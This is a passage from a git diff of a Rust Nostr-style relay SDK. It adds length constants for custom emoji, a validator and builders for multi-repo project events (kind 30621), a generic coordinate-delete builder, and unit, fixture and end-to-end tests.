+        match ctrl_rx.try_recv().expect("deferred close frame delivered") {
+            WsMessage::Close(Some(close)) => {
+                assert_eq!(
+                    close.code,
+                    axum::extract::ws::close_code::RESTART,
+                    "jittered close is still 1012 Service Restart"
+                );
+                assert_eq!(close.reason.as_str(), "relay restarting");
+            }
+            other => panic!("expected a restart close frame, got {other:?}"),
+        }
+    }
 }
diff --git a/crates/buzz-sdk/src/builders.rs b/crates/buzz-sdk/src/builders.rs
index b2da2cc416..f9f1ad7010 100644
--- a/crates/buzz-sdk/src/builders.rs
+++ b/crates/buzz-sdk/src/builders.rs
@@ -11,8 +11,8 @@ use buzz_core::{
         KIND_GIT_STATUS_CLOSED, KIND_GIT_STATUS_DRAFT, KIND_GIT_STATUS_MERGED,
         KIND_GIT_STATUS_OPEN, KIND_IA_ARCHIVE_REQUEST, KIND_IA_UNARCHIVE_REQUEST,
         KIND_MODERATION_BAN, KIND_MODERATION_RESOLVE_REPORT, KIND_MODERATION_TIMEOUT,
-        KIND_MODERATION_UNBAN, KIND_MODERATION_UNTIMEOUT, KIND_PRESENCE_UPDATE, KIND_USER_STATUS,
-        KIND_WORKFLOW_DEF, KIND_WORKFLOW_TRIGGER,
+        KIND_MODERATION_UNBAN, KIND_MODERATION_UNTIMEOUT, KIND_PRESENCE_UPDATE, KIND_PROJECT,
+        KIND_USER_STATUS, KIND_WORKFLOW_DEF, KIND_WORKFLOW_TRIGGER,
     },
     observer::{
         content_looks_like_nip44, OBSERVER_AGENT_TAG, OBSERVER_FRAME_CONTROL, OBSERVER_FRAME_TAG,
@@ -120,6 +120,11 @@ fn check_repo_id(repo_id: &str) -> Result<(), SdkError> {
     Ok(())
 }
 
+/// Maximum length of a custom emoji shortcode.
+pub const MAX_CUSTOM_EMOJI_SHORTCODE_LEN: usize = 64;
+/// Maximum reaction payload length for a colon-wrapped custom emoji shortcode.
+pub const MAX_CUSTOM_EMOJI_REACTION_LEN: usize = MAX_CUSTOM_EMOJI_SHORTCODE_LEN + 2;
+
 /// Validate and normalize a NIP-30 custom emoji shortcode.
 ///
 /// Shortcodes are case-insensitive in Buzz's relay-global set; lowercase
@@ -131,9 +136,9 @@ pub fn normalize_custom_emoji_shortcode(shortcode: &str) -> Result<String, SdkEr
             "emoji shortcode must not be empty".into(),
         ));
     }
-    if trimmed.len() > 64 {
+    if trimmed.len() > MAX_CUSTOM_EMOJI_SHORTCODE_LEN {
         return Err(SdkError::InvalidInput(format!(
-            "emoji shortcode exceeds 64 bytes (got {})",
+            "emoji shortcode exceeds {MAX_CUSTOM_EMOJI_SHORTCODE_LEN} bytes (got {})",
             trimmed.len()
         )));
     }
@@ -1541,12 +1546,7 @@ pub fn build_workflow_delete(
     author_pubkey: &str,
     workflow_id: Uuid,
 ) -> Result<EventBuilder, SdkError> {
-    let pk = check_pubkey_hex(author_pubkey, "author_pubkey")?;
-    let tags = vec![tag(&[
-        "a",
-        &format!("{}:{pk}:{workflow_id}", KIND_WORKFLOW_DEF),
-    ])?];
-    Ok(EventBuilder::new(Kind::Custom(KIND_DELETION as u16), "").tags(tags))
+    build_delete_addressable(KIND_WORKFLOW_DEF, author_pubkey, &workflow_id.to_string())
 }
 
 /// Build a workflow trigger event (kind 46020).
@@ -1880,6 +1880,364 @@ pub fn build_unarchive_identity_request(
     )
 }
 
+// ─── NIP-MP: Multi-repo projects (kind:30621) ────────────────────────────────
+//
+//  Public surface:
+//  • `validate_project_envelope` — Layer A protocol validator (8 ingest rules)
+//  • `build_project_with_tags`   — Layer A raw builder (content + tags, no canonicalization)
+//  • `ProjectMemberCoord`        — parsed member coordinate + optional relay hint
+//  • `build_project`             — Layer B writer-policy builder
+//  • `build_delete_addressable`  — generic NIP-09 kind:5 coordinate delete
+//
+//  Byte-length bounds from NIP-MP §Relay Processing:
+/// Maximum byte length of a project `d` tag value.
+pub const PROJECT_D_MAX_LEN: usize = 1024;
+/// Maximum byte length of a project `name` tag value.
+pub const PROJECT_NAME_MAX: usize = 256;
+/// Maximum byte length of a project `description` tag value.
+pub const PROJECT_DESCRIPTION_MAX: usize = 2048;
+/// Maximum byte length of a project `buzz-channel` tag value.
+pub const PROJECT_CHANNEL_MAX: usize = 256;
+/// Maximum byte length of a project `buzz-visibility` tag value.
+pub const PROJECT_VISIBILITY_MAX: usize = 256;
+/// Maximum number of `a` member tags per project event (checked before dedup).
+pub const PROJECT_MEMBER_CAP: usize = 64;
+
+/// A validated NIP-MP member `a`-tag coordinate with an optional relay hint.
+///
+/// Equality and `Hash` are by `coord` only (per spec: duplicate detection ignores hint).
+#[derive(Clone, Debug)]
+pub struct ProjectMemberCoord {
+    /// The full `30617:<owner-hex>:<repo-d>` coordinate string.
+    pub coord: String,
+    /// Optional opaque relay hint (third `a`-tag element, never validated by content).
+    pub hint: Option<String>,
+}
+
+impl PartialEq for ProjectMemberCoord {
+    fn eq(&self, other: &Self) -> bool {
+        self.coord == other.coord
+    }
+}
+
+impl Eq for ProjectMemberCoord {}
+
+impl std::hash::Hash for ProjectMemberCoord {
+    fn hash<H: std::hash::Hasher>(&self, state: &mut H) {
+        self.coord.hash(state);
+    }
+}
+
+impl ProjectMemberCoord {
+    /// Parse a full `30617:<owner-hex>:<repo-d>` coordinate string.
+    ///
+    /// Accepts an optional relay hint as the third colon-separated element
+    /// after the split, but the split is always first-two-colons: kind, owner,
+    /// everything-else-as-repo-d.
+    ///
+    /// Rules enforced:
+    /// - Exactly three segments after splitting on the first two colons
+    /// - First segment must be the literal string `"30617"`
+    /// - Second segment must be exactly 64 lowercase hex characters
+    /// - Third segment (repo-d) must be non-empty
+    /// - Uppercase owners are rejected (never normalized)
+    pub fn parse_full(coord: &str) -> Result<Self, SdkError> {
+        // Split on first two colons only: kind:owner:rest
+        let mut parts = coord.splitn(3, ':');
+        let kind_part = parts.next().unwrap_or("");
+        let owner_part = parts.next().unwrap_or("");
+        let rest = parts.next().unwrap_or("");
+
+        if kind_part != "30617" {
+            return Err(SdkError::InvalidInput(format!(
+                "member coordinate must start with '30617:' (got kind {kind_part:?})"
+            )));
+        }
+        if owner_part.len() != 64 || !owner_part.chars().all(|c| c.is_ascii_hexdigit()) {
+            return Err(SdkError::InvalidInput(format!(
+                "member owner must be a 64-character hex pubkey (got {owner_part:?})"
+            )));
+        }
+        // Reject uppercase (spec: lowercase hex required)
+        if owner_part.chars().any(|c| c.is_ascii_uppercase()) {
+            return Err(SdkError::InvalidInput(
+                "member owner hex must be lowercase".into(),
+            ));
+        }
+        if rest.is_empty() {
+            return Err(SdkError::InvalidInput(
+                "member coordinate repo-d must not be empty".into(),
+            ));
+        }
+        Ok(ProjectMemberCoord {
+            coord: format!("30617:{owner_part}:{rest}"),
+            hint: None,
+        })
+    }
+
+    /// Returns the `a`-tag element slice: `[coord]` or `[coord, hint]`.
+    pub fn to_tag_parts(&self) -> Vec<String> {
+        let mut parts = vec!["a".to_string(), self.coord.clone()];
+        if let Some(h) = &self.hint {
+            parts.push(h.clone());
+        }
+        parts
+    }
+}
+
+/// **Layer A**: Validate a complete kind:30621 envelope against the 8 NIP-MP
+/// ingest rules.  This is the single source of protocol truth used by both
+/// `build_project_with_tags` (raw path) and `build_project` (policy path).
+///
+/// Rules enforced (matches relay `buzz-db` ingest logic):
+/// 1. `d` cardinality: exactly one `d` tag.
+/// 2. `d` value: non-empty, ≤1024 bytes.
+/// 3. Member cap: raw count of every `a` tag ≤ 64 (checked **before** per-tag
+///    parsing, matching relay rule order).
+/// 4. Member tag arity: every `a` tag has 2 or 3 elements (no more, no fewer).
+/// 5. Member coordinate grammar: first-two-colons split; kind literal `"30617"`;
+///    owner lowercase 64-hex; repo-d non-empty verbatim.
+/// 6. Member deduplication: coordinate equality only (hint ignored); any
+///    coordinate that appears more than once is a duplicate.
+/// 7. Singleton metadata: each of `name`, `description`, `buzz-channel`,
+///    `buzz-visibility` appears at most once.
+/// 8. Metadata byte lengths: `name` ≤256, `description` ≤2048,
+///    `buzz-channel` ≤256, `buzz-visibility` ≤256.
+pub fn validate_project_envelope(tags: &[Tag], _content: &str) -> Result<(), SdkError> {
+    // --- Rule 1 & 2: d tag ---
+    let d_tags: Vec<&Tag> = tags.iter().filter(|t| tag_name(t) == Some("d")).collect();
+    match d_tags.len() {
+        0 => {
+            return Err(SdkError::InvalidInput(
+                "project must have exactly one 'd' tag (rule: d-cardinality)".into(),
+            ))
+        }
+        1 => {}
+        _ => {
+            return Err(SdkError::InvalidInput(
+                "project must have exactly one 'd' tag (rule: d-cardinality)".into(),
+            ))
+        }
+    }
+    let d_val = tag_value(d_tags[0]).unwrap_or("");
+    if d_val.is_empty() {
+        return Err(SdkError::InvalidInput(
+            "project 'd' tag must not be empty (rule: d-empty)".into(),
+        ));
+    }
+    if d_val.len() > PROJECT_D_MAX_LEN {
+        return Err(SdkError::InvalidInput(format!(
+            "project 'd' tag exceeds {PROJECT_D_MAX_LEN} bytes (rule: d-empty)"
+        )));
+    }
+
+    let a_tags: Vec<&Tag> = tags.iter().filter(|t| tag_name(t) == Some("a")).collect();
+
+    // --- Rule 3: member cap (checked before per-tag parsing, matching relay rule order) ---
+    if a_tags.len() > PROJECT_MEMBER_CAP {
+        return Err(SdkError::InvalidInput(format!(
+            "project exceeds member cap of {PROJECT_MEMBER_CAP} (got {}) (rule: member-cap)",
+            a_tags.len()
+        )));
+    }
+
+    // --- Rule 4: member arity ---
+    for a in &a_tags {
+        let len = a.as_slice().len() - 1; // exclude the "a" name element
+        if !(1..=2).contains(&len) {
+            return Err(SdkError::InvalidInput(format!(
+                "member 'a' tag must have 1 or 2 value elements (got {len}) (rule: member-tag-arity)"
+            )));
+        }
+    }
+
+    // --- Rules 5 & 6: coordinate grammar + deduplication ---
+    let mut seen_coords: std::collections::HashSet<String> = std::collections::HashSet::new();
+    for a in &a_tags {
+        let coord_val = tag_value(a).unwrap_or("");
+        ProjectMemberCoord::parse_full(coord_val).map_err(|e| {
+            SdkError::InvalidInput(format!("{e} (rule: member-coordinate-malformed)"))
+        })?;
+        if !seen_coords.insert(coord_val.to_string()) {
+            return Err(SdkError::InvalidInput(format!(
+                "duplicate member coordinate {coord_val:?} (rule: member-duplicate)"
+            )));
+        }
+    }
+
+    // --- Rules 7 & 8: singleton metadata + byte bounds ---
+    let singleton_fields = [
+        (
+            "name",
+            PROJECT_NAME_MAX,
+            "metadata-cardinality",
+            "metadata-length",
+        ),
+        (
+            "description",
+            PROJECT_DESCRIPTION_MAX,
+            "metadata-cardinality",
+            "metadata-length",
+        ),
+        (
+            "buzz-channel",
+            PROJECT_CHANNEL_MAX,
+            "metadata-cardinality",
+            "metadata-length",
+        ),
+        (
+            "buzz-visibility",
+            PROJECT_VISIBILITY_MAX,
+            "metadata-cardinality",
+            "metadata-length",
+        ),
+    ];
+    for (field, max_bytes, card_rule, len_rule) in singleton_fields {
+        let matches: Vec<&Tag> = tags.iter().filter(|t| tag_name(t) == Some(field)).collect();
+        if matches.len() > 1 {
+            return Err(SdkError::InvalidInput(format!(
+                "project must have at most one '{field}' tag (rule: {card_rule})"
+            )));
+        }
+        if let Some(t) = matches.first() {
+            let val = tag_value(t).unwrap_or("");
+            if val.len() > max_bytes {
+                return Err(SdkError::InvalidInput(format!(
+                    "'{field}' tag exceeds {max_bytes} bytes (rule: {len_rule})"
+                )));
+            }
+        }
+    }
+
+    Ok(())
+}
+
+/// Helper: tag name (first element).
+fn tag_name(tag: &Tag) -> Option<&str> {
+    tag.as_slice().first().map(String::as_str)
+}
+
+/// Helper: tag value (second element).
+fn tag_value(tag: &Tag) -> Option<&str> {
+    tag.as_slice().get(1).map(String::as_str)
+}
+
+/// **Layer A raw builder**: Build a kind:30621 project event from a raw
+/// `content` string and a raw `tags` slice, without any canonicalization.
+///
+/// Validates the entire envelope through `validate_project_envelope` before
+/// accepting it.  The caller is responsible for supplying the correct `d` tag.
+/// This is the path exercised by fixture conformance tests and by read-modify-
+/// write mutations in the CLI.
+pub fn build_project_with_tags(content: &str, tags: Vec<Tag>) -> Result<EventBuilder, SdkError> {
+    validate_project_envelope(&tags, content)?;
+    Ok(EventBuilder::new(Kind::Custom(KIND_PROJECT as u16), content).tags(tags))
+}
+
+/// **Layer B writer-policy builder**: Build a kind:30621 project event with
+/// enforced writer policy:
+/// - The `d` tag is constructed from `slug`; `check_project_slug` rejects
+///   an empty or over-length slug.
+/// - `channel` must be a valid UUID string.
+/// - `visibility` must be `"listed"` or `"unlisted"`.
+/// - Content is always empty.
+/// - Member coordinates are parsed through `ProjectMemberCoord::parse_full`.
+///
+/// The resulting envelope is validated through Layer A before the builder is
+/// returned.
+pub fn build_project(
+    slug: &str,
+    name: Option<&str>,
+    description: Option<&str>,
+    members: &[ProjectMemberCoord],
+    channel: Option<&str>,
+    visibility: Option<&str>,
+) -> Result<EventBuilder, SdkError> {
+    // Slug validation
+    if slug.is_empty() {
+        return Err(SdkError::InvalidInput(
+            "project slug must not be empty".into(),
+        ));
+    }
+    if slug.len() > PROJECT_D_MAX_LEN {
+        return Err(SdkError::InvalidInput(format!(
+            "project slug must not exceed {PROJECT_D_MAX_LEN} bytes (got {})",
+            slug.len()
+        )));
+    }
+
+    // Channel UUID validation
+    if let Some(ch) = channel {
+        uuid::Uuid::parse_str(ch).map_err(|_| {
+            SdkError::InvalidInput(format!("buzz-channel must be a valid UUID (got {ch:?})"))
+        })?;
+    }
+
+    // Visibility enum validation
+    if let Some(vis) = visibility {
+        if vis != "listed" && vis != "unlisted" {
+            return Err(SdkError::InvalidInput(format!(
+                "buzz-visibility must be 'listed' or 'unlisted' (got {vis:?})"
+            )));
+        }
+    }
+
+    let mut tags: Vec<Tag> = Vec::new();
+    tags.push(tag(&["d", slug])?);
+
+    if let Some(n) = name {
+        tags.push(tag(&["name", n])?);
+    }
+    if let Some(d) = description {
+        tags.push(tag(&["description", d])?);
+    }
+    for m in members {
+        let tag_parts = m.to_tag_parts();
+        let parts: Vec<&str> = tag_parts.iter().map(|s| s.as_str()).collect();
+        // Safety: to_tag_parts always produces ["a", coord, ...hint]
+        tags.push(
+            Tag::parse(parts.iter().copied()).map_err(|e| SdkError::InvalidTag(e.to_string()))?,
+        );
+    }
+    if let Some(ch) = channel {
+        tags.push(tag(&["buzz-channel", ch])?);
+    }
+    if let Some(vis) = visibility {
+        tags.push(tag(&["buzz-visibility", vis])?);
+    }
+
+    build_project_with_tags("", tags)
+}
+
+/// **Generic NIP-09 coordinate delete**: Build a kind:5 deletion event with
+/// a single `a`-tag addressing `<kind>:<pubkey>:<d>`.
+///
+/// Validates:
+/// - `kind` is an addressable kind (10000–19999 or 30000–39999).
+/// - `pubkey` is a 64-character lowercase hex string.
+/// - `d` is non-empty.
+///
+/// `build_workflow_delete` delegates to this function.
+pub fn build_delete_addressable(
+    kind: u32,
+    pubkey: &str,
+    d: &str,
+) -> Result<EventBuilder, SdkError> {
+    let is_addressable = (10000..20000).contains(&kind) || (30000..40000).contains(&kind);
+    if !is_addressable {
+        return Err(SdkError::InvalidInput(format!(
+            "kind {kind} is not an addressable kind (must be 10000–19999 or 30000–39999)"
+        )));
+    }
+    let pk = check_pubkey_hex(pubkey, "pubkey")?;
+    if d.is_empty() {
+        return Err(SdkError::InvalidInput("d must not be empty".into()));
+    }
+    let coord = format!("{kind}:{pk}:{d}");
+    let tags = vec![tag(&["a", &coord])?];
+    Ok(EventBuilder::new(Kind::Custom(KIND_DELETION as u16), "").tags(tags))
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -2343,6 +2701,30 @@ mod tests {
         assert!(has_tag(&ev, "emoji", "party_parrot"));
     }
 
+    #[test]
+    fn custom_emoji_reaction_accepts_max_shortcode_length() {
+        let eid = event_id();
+        let shortcode = "a".repeat(MAX_CUSTOM_EMOJI_SHORTCODE_LEN);
+        let ev = sign(
+            build_custom_emoji_reaction(eid, &shortcode, "https://example.com/max.png").unwrap(),
+        );
+
+        assert_eq!(ev.content, format!(":{shortcode}:"));
+        assert_eq!(ev.content.chars().count(), MAX_CUSTOM_EMOJI_REACTION_LEN);
+        assert!(has_tag(&ev, "emoji", &shortcode));
+    }
+
+    #[test]
+    fn custom_emoji_reaction_rejects_overlong_shortcode() {
+        let eid = event_id();
+        let shortcode = "a".repeat(MAX_CUSTOM_EMOJI_SHORTCODE_LEN + 1);
+
+        assert!(matches!(
+            build_custom_emoji_reaction(eid, &shortcode, "https://example.com/too-long.png"),
+            Err(SdkError::InvalidInput(message)) if message.contains("exceeds 64 bytes")
+        ));
+    }
+
     #[test]
     fn custom_emoji_set_happy_path() {
         let ev = sign(
@@ -4005,4 +4387,280 @@ mod tests {
             .iter()
             .any(|t| t.as_slice().first().map(String::as_str) == Some("replaced-by")));
     }
+
+    // ── NIP-MP cap-before-arity ordering ─────────────────────────────────────
+
+    /// When an envelope exceeds the member cap AND contains a malformed `a` tag,
+    /// the validator must fire `member-cap` (rule 3) — not `member-tag-arity`
+    /// (rule 4).  This matches the relay's ingest ordering and means a client
+    /// sending an oversized list never receives a per-tag parse error.
+    #[test]
+    fn validate_project_envelope_cap_wins_over_arity_when_both_fail() {
+        let owner = "a".repeat(64);
+        // Build 65 well-formed `a` tags — enough to trigger the cap.
+        let mut tags = vec![Tag::parse(["d", "platform"]).unwrap()];
+        for i in 0..65usize {
+            let coord = format!("30617:{owner}:repo-{i}");
+            tags.push(Tag::parse(["a", &coord]).unwrap());
+        }
+        // Also add one malformed tag (four elements) that would fire
+        // member-tag-arity if evaluated before the cap check.
+        let coord_extra = format!("30617:{owner}:repo-extra");
+        tags.push(
+            Tag::parse([
+                "a",
+                &coord_extra,
+                "wss://relay.example.com",
+                "extra-element",
+            ])
+            .unwrap(),
+        );
+
+        let err = validate_project_envelope(&tags, "").unwrap_err();
+        let msg = err.to_string();
+        assert!(
+            msg.contains("member-cap"),
+            "expected member-cap to win, got: {msg}"
+        );
+        assert!(
+            !msg.contains("member-tag-arity"),
+            "arity rule must not fire before cap rule, got: {msg}"
+        );
+    }
+
+    // ── Layer B writer-policy builder ───────────────────────────────────────
+
+    const OWNER64: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
+    const VALID_UUID: &str = "3580ca9b-47b4-4af9-b22a-1068778f26c6";
+
+    fn member_coord(repo: &str) -> ProjectMemberCoord {
+        ProjectMemberCoord::parse_full(&format!("30617:{OWNER64}:{repo}")).unwrap()
+    }
+
+    #[test]
+    fn build_project_emitted_envelope_has_correct_shape() {
+        // slug, name, description, channel, visibility, and one member.
+        let m = member_coord("buzz");
+        let ev = sign(
+            build_project(
+                "my-proj",
+                Some("My Project"),
+                Some("A description"),
+                &[m],
+                Some(VALID_UUID),
+                Some("listed"),
+            )
+            .expect("Layer B must accept valid inputs"),
+        );
+
+        // Kind must be 30621.
+        assert_eq!(ev.kind.as_u16(), KIND_PROJECT as u16);
+        // Content must be empty (Layer B policy).
+        assert!(ev.content.is_empty(), "content must be empty");
+
+        let all_tags: Vec<Vec<String>> = ev.tags.iter().map(|t| t.as_slice().to_vec()).collect();
+
+        // d tag must be present exactly once.
+        let d_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "d").collect();
+        assert_eq!(d_tags.len(), 1);
+        assert_eq!(d_tags[0][1], "my-proj");
+
+        // name, description, buzz-channel, buzz-visibility present.
+        let name_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "name").collect();
+        assert_eq!(name_tags.len(), 1);
+        assert_eq!(name_tags[0][1], "My Project");
+
+        let desc_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "description").collect();
+        assert_eq!(desc_tags.len(), 1);
+        assert_eq!(desc_tags[0][1], "A description");
+
+        let ch_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "buzz-channel").collect();
+        assert_eq!(ch_tags.len(), 1);
+        assert_eq!(ch_tags[0][1], VALID_UUID);
+
+        let vis_tags: Vec<_> = all_tags
+            .iter()
+            .filter(|t| t[0] == "buzz-visibility")
+            .collect();
+        assert_eq!(vis_tags.len(), 1);
+        assert_eq!(vis_tags[0][1], "listed");
+
+        // member a tag.
+        let a_tags: Vec<_> = all_tags.iter().filter(|t| t[0] == "a").collect();
+        assert_eq!(a_tags.len(), 1);
+        assert_eq!(a_tags[0][1], format!("30617:{OWNER64}:buzz"));
+    }
+
+    #[test]
+    fn build_project_optional_fields_absent_when_not_supplied() {
+        let m = member_coord("core");
+        let ev = sign(
+            build_project("my-proj", None, None, &[m], None, None)
+                .expect("minimal build must succeed"),
+        );
+        let names: Vec<_> = ev
+            .tags
+            .iter()
+            .filter(|t| t.as_slice().first().map(|s| s.as_str()) == Some("name"))
+            .collect();
+        assert!(names.is_empty(), "name tag must not be emitted when absent");
+    }
+
+    #[test]
+    fn build_project_rejects_empty_slug() {
+        let m = member_coord("r");
+        let err = build_project("", None, None, &[m], None, None).unwrap_err();
+        assert!(
+            matches!(err, SdkError::InvalidInput(_)),
+            "empty slug must be InvalidInput, got: {err:?}"
+        );
+        assert!(err.to_string().contains("empty"));
+    }
+
+    #[test]
+    fn build_project_rejects_overlong_slug() {
+        let long_slug = "a".repeat(PROJECT_D_MAX_LEN + 1);
+        let m = member_coord("r");
+        let err = build_project(&long_slug, None, None, &[m], None, None).unwrap_err();
+        assert!(matches!(err, SdkError::InvalidInput(_)));
+    }
+
+    #[test]
+    fn build_project_rejects_invalid_channel_uuid() {
+        let m = member_coord("r");
+        let err = build_project("slug", None, None, &[m], Some("not-a-uuid"), None).unwrap_err();
+        assert!(matches!(err, SdkError::InvalidInput(_)));
+        assert!(err.to_string().contains("UUID") || err.to_string().contains("uuid"));
+    }
+
+    #[test]
+    fn build_project_rejects_invalid_visibility_token() {
+        let m = member_coord("r");
+        let err = build_project("slug", None, None, &[m], None, Some("chartreuse")).unwrap_err();
+        assert!(matches!(err, SdkError::InvalidInput(_)));
+        assert!(err.to_string().contains("listed") || err.to_string().contains("unlisted"));
+    }
+
+    #[test]
+    fn build_project_rejects_over_cap_members() {
+        let members: Vec<_> = (0..=PROJECT_MEMBER_CAP)
+            .map(|i| member_coord(&format!("repo-{i}")))
+            .collect();
+        let err = build_project("slug", None, None, &members, None, None).unwrap_err();
+        assert!(matches!(err, SdkError::InvalidInput(_)));
+        assert!(
+            err.to_string().contains("member-cap"),
+            "over-cap must report member-cap, got: {err}"
+        );
+    }
+
+    #[test]
+    fn build_project_rejects_duplicate_members() {
+        let m = member_coord("same");
+        let err = build_project("slug", None, None, &[m.clone(), m], None, None).unwrap_err();
+        assert!(matches!(err, SdkError::InvalidInput(_)));
+        assert!(
+            err.to_string().contains("dedup") || err.to_string().contains("duplicate"),
+            "duplicate member must report dedup, got: {err}"
+        );
+    }
+
+    #[test]
+    fn build_project_content_is_always_empty() {
+        // build_project forces content="" regardless; Layer A also enforces
+        // that the envelope is valid. Any non-empty content would be dropped.
+        // This test pins the Layer B content-forced-empty policy.
+        let m = member_coord("r");
+        let ev = sign(build_project("slug", None, None, &[m], None, None).unwrap());
+        assert!(
+            ev.content.is_empty(),
+            "Layer B must always emit empty content"
+        );
+    }
+
+    // ── NIP-MP conformance fixtures ──────────────────────────────────────────
+    // `build_project_with_tags` directly.  Accept cases must build; reject
+    // cases must fail with an error message containing the expected rule name.
+    // A count assertion guards against silent omissions.
+    //
+    // `include_str!` path is relative to this source file.
+    fn nip_mp_fixture_tags(json_tags: &serde_json::Value) -> Vec<Tag> {
+        json_tags
+            .as_array()
+            .unwrap()
+            .iter()
+            .map(|t| {
+                let parts: Vec<String> = t
+                    .as_array()
+                    .unwrap()
+                    .iter()
+                    .map(|v| v.as_str().unwrap().to_string())
+                    .collect();
+                let parts_ref: Vec<&str> = parts.iter().map(String::as_str).collect();
+                Tag::parse(parts_ref.iter().copied())
+                    .unwrap_or_else(|e| panic!("fixture tag parse error: {e}\n  raw: {t}"))
+            })
+            .collect()
+    }
+
+    #[test]
+    fn nip_mp_fixtures_all_31_cases_exercised() {
+        const FIXTURE_JSON: &str = include_str!("../../../docs/nips/NIP-MP.fixtures.json");
+
+        let data: serde_json::Value =
+            serde_json::from_str(FIXTURE_JSON).expect("fixture JSON must parse");
+        let cases = data["cases"].as_array().expect("cases must be array");
+
+        // Count gate: the spec says "required to test against this one file"
+        // with the exact count as-shipped.
+        assert_eq!(
+            cases.len(),
+            31,
+            "expected 31 fixture cases, got {} — was NIP-MP.fixtures.json edited?",
+            cases.len()
+        );
+
+        let mut accept_count = 0usize;
+        let mut reject_count = 0usize;
+
+        for case in cases {
+            let name = case["name"].as_str().unwrap();
+            let expect = case["expect"].as_str().unwrap();
+            let template = &case["template"];
+            let content = template["content"].as_str().unwrap_or("");
+            let tags = nip_mp_fixture_tags(&template["tags"]);
+
+            match expect {
+                "accept" => {
+                    build_project_with_tags(content, tags).unwrap_or_else(|e| {
+                        panic!("fixture '{name}' (accept) must build successfully, got: {e}")
+                    });
+                    accept_count += 1;
+                }
+                "reject" => {
+                    let reject_rules = case["reject_rules"]
+                        .as_array()
+                        .expect("reject case must have reject_rules")
+                        .iter()
+                        .map(|r| r.as_str().unwrap().to_string())
+                        .collect::<Vec<_>>();
+
+                    let err = build_project_with_tags(content, tags).unwrap_err();
+                    let err_msg = err.to_string();
+
+                    // The error must mention at least one of the expected rules.
+                    let rule_matched = reject_rules.iter().any(|r| err_msg.contains(r.as_str()));
+                    assert!(
+                        rule_matched,
+                        "fixture '{name}' rejected with wrong rule.\n  expected one of: {reject_rules:?}\n  got error: {err_msg}"
+                    );
+                    reject_count += 1;
+                }
+                other => panic!("fixture '{name}' has unknown expect value: {other:?}"),
+            }
+        }
+
+        assert_eq!(accept_count, 11, "expected 11 accept cases");
+        assert_eq!(reject_count, 20, "expected 20 reject cases");
+    }
 }
diff --git a/crates/buzz-test-client/tests/e2e_project.rs b/crates/buzz-test-client/tests/e2e_project.rs
new file mode 100644
index 0000000000..c0a05e4674
--- /dev/null
+++ b/crates/buzz-test-client/tests/e2e_project.rs
@@ -0,0 +1,491 @@
+//! End-to-end tests for kind:30621 multi-repo project events (NIP-MP).
+//!
+//! The ingest unit tests in `buzz-relay` pin the envelope contract in isolation.
+//! These tests cover the three behaviors that only exist once an event reaches
+//! storage, plus proof that the envelope validator is actually wired into the
+//! live write path:
+//! - a valid cross-owner project round-trips through its NIP-33 coordinate;
+//! - replacement is keyed by `(pubkey, 30621, d)` — newer wins for one author,
+//!   and two authors sharing a `d` hold two independent projects (this is what
+//!   makes owner-only editing free rather than a relay permission check);
+//! - a NIP-09 `a`-tag tombstone removes the project coordinate and leaves every
+//!   referenced kind:30617 announcement untouched, because membership is an
+//!   assertion about repositories and never authority over them;
+//! - malformed envelopes are refused by the relay, not merely by the validator.
+//!
+//! See `docs/nips/NIP-MP.md` for the normative contract.
+//!
+//! # Running
+//!
+//! Start the relay, then run:
+//!
+//! ```text
+//! RELAY_URL=ws://localhost:3000 cargo test -p buzz-test-client --test e2e_project -- --ignored
+//! ```
+
+use std::time::Duration;
+
+use buzz_test_client::BuzzTestClient;
+use nostr::{Alphabet, EventBuilder, Filter, Keys, Kind, SingleLetterTag, Tag, Timestamp};
+
+const PROJECT_KIND: u16 = 30621;
+const REPO_ANNOUNCEMENT_KIND: u16 = 30617;
+
+fn relay_url() -> String {
+    std::env::var("RELAY_URL").unwrap_or_else(|_| "ws://localhost:3000".to_string())
+}
+
+fn sub_id(name: &str) -> String {
+    format!("e2e-project-{name}-{}", uuid::Uuid::new_v4())
+}
+
+/// A short unique suffix so concurrent runs never collide on a `d` tag.
+fn unique(prefix: &str) -> String {
+    format!("{prefix}-{}", &uuid::Uuid::new_v4().to_string()[..8])
+}
+
+fn member_coord(owner: &Keys, repo_d: &str) -> String {
+    format!(
+        "{REPO_ANNOUNCEMENT_KIND}:{}:{repo_d}",
+        owner.public_key().to_hex()
+    )
+}
+
+/// Build a project event. `members` are canonical `30617:<owner>:<d>`
+/// coordinates; `created_at` defaults to now when `None`.
+fn project_event(
+    keys: &Keys,
+    d_tag: &str,
+    name: &str,
+    members: &[String],
+    created_at: Option<u64>,
+) -> nostr::Event {
+    let mut tags = vec![
+        Tag::parse(["d", d_tag]).unwrap(),
+        Tag::parse(["name", name]).unwrap(),
+    ];
+    tags.extend(
+        members
+            .iter()
+            .map(|m| Tag::parse(["a", m.as_str()]).unwrap()),
+    );
+    let builder = EventBuilder::new(Kind::Custom(PROJECT_KIND), "").tags(tags);
+    match created_at {
+        Some(ts) => builder.custom_created_at(Timestamp::from(ts)),
+        None => builder,
+    }
+    .sign_with_keys(keys)
+    .unwrap()
+}
+
+/// Announce a repository so a project has a real coordinate to reference.
+fn repo_announcement(keys: &Keys, repo_d: &str) -> nostr::Event {
+    EventBuilder::new(Kind::Custom(REPO_ANNOUNCEMENT_KIND), "")
+        .tags(vec![
+            Tag::parse(["d", repo_d]).unwrap(),
+            Tag::parse(["name", repo_d]).unwrap(),
+        ])
+        .sign_with_keys(keys)
+        .unwrap()
+}
+
+/// A NIP-09 `a`-tag-only deletion at a NIP-33 coordinate. No `e` tag, so the
+/// relay takes the coordinate-delete path rather than the event-id path.
+/// `created_at` defaults to now when `None`.
+fn coordinate_delete(keys: &Keys, kind: u16, d_tag: &str, created_at: Option<u64>) -> nostr::Event {
+    let coord = format!("{kind}:{}:{d_tag}", keys.public_key().to_hex());
+    let builder =
+        EventBuilder::new(Kind::Custom(5), "")
+            .tags(vec![Tag::parse(["a", coord.as_str()]).unwrap()]);
+    match created_at {
+        Some(ts) => builder.custom_created_at(Timestamp::from(ts)),
+        None => builder,
+    }
+    .sign_with_keys(keys)
+    .unwrap()
+}
+
+fn addressable_filter(kind: u16, author: &Keys, d_tag: &str) -> Filter {
+    Filter::new()
